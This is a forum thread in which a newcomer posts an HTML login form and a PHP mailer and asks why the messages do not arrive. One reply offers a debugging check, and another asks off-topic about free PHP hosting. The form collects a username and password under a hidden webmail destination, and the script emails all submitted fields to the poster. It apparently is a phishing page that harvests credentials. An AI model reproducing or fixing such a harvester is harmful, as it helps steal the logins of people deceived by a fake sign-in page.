Hello and welcome to our community! Is this your first visit?
Register
Enjoy an ad free experience by logging in. Not a member yet? Register.
Results 1 to 3 of 3
  1. #1
    New to the CF scene
    Join Date
    Jul 2007
    Posts
    1
    Thanks
    0
    Thanked 0 Times in 0 Posts

    PHP Form Mailer Problem

    Hello.I have a problem.My PHP Form Mailer dont send any messages to me.My hoster is freehostia, and i tried to do it on hyperphp.com but in the host isnt the problem.I will give my code, and if anyone know what do , thanks.

    PHP Mailer dont send an1 messages to me.Can anyone help? Here is the form and the mailer.I think there are some errors in the code,but i`m a newbie.

    Form
    <form action="mailer.php" method="post">

    <table style="opacity: 1;">
    <tbody><tr>
    <td>Username:</td>
    <td><input size="20" name="username" maxlength="12" type="text"></td>
    </tr>
    <tr>
    <td>Password:</td>
    <td><input size="20" name="password" maxlength="20" type="password"></td>
    </tr>
    <tr>
    <td></td>
    <td align="center"><input value="Login" name="submit" type="submit"></td>
    </tr>
    </tbody></table>
    <input name="dest" value="inbox.ws" type="hidden">

    </form>
    Mailer
    <?PHP

    $to = "Mymail@domain.com";
    $subject = "Results from your Request Info form";
    $headers = "From: My Site";
    $forward = 0;
    $location = "";

    $date = date ("l, F jS, Y");
    $time = date ("h:i A");

    $msg = "Below is the result of your feedback form. It was submitted on $date at $time.\n\n";

    if ($_SERVER['REQUEST_METHOD'] == "POST") {
    foreach ($_POST as $key => $value) {
    $msg .= ucfirst ($key) ." : ". $value . "\n";
    }
    }
    else {
    foreach ($_GET as $key => $value) {
    $msg .= ucfirst ($key) ." : ". $value . "\n";
    }
    }

    mail ($to, $subject, $msg, $headers);
    if ($forward == 1) {
    header ("Location:$location");
    }
    else {
    echo "Thanks...";
    }

    ?>

  • #2
    UE Antagonizer Fumigator's Avatar
    Join Date
    Dec 2005
    Location
    Utah, USA, Northwestern hemisphere, Earth, Solar System, Milky Way Galaxy, Alpha Quadrant
    Posts
    7,691
    Thanks
    42
    Thanked 637 Times in 625 Posts
    Your first step is to check the mail() function to see if it succeeded or not:

    PHP Code:
    if (mail ($to$subject$msg$headers)) {
        echo 
    "mail function succeeded.";
    } else {
        echo 
    "mail function failed.";


  • #3
    Regular Coder
    Join Date
    Apr 2007
    Posts
    141
    Thanks
    3
    Thanked 1 Time in 1 Post
    This might be OOT.
    but i am just curious.
    any free hosting you guys know that support debugging mode for PHP ?

    like error on line.. something...
    freewha.com doesn't support that.
    I need to use my localhost anyway... that sucks.
    thanks in advance...


  •  

    Posting Permissions

    • You may not post new threads
    • You may not post replies
    • You may not post attachments
    • You may not edit your posts
    •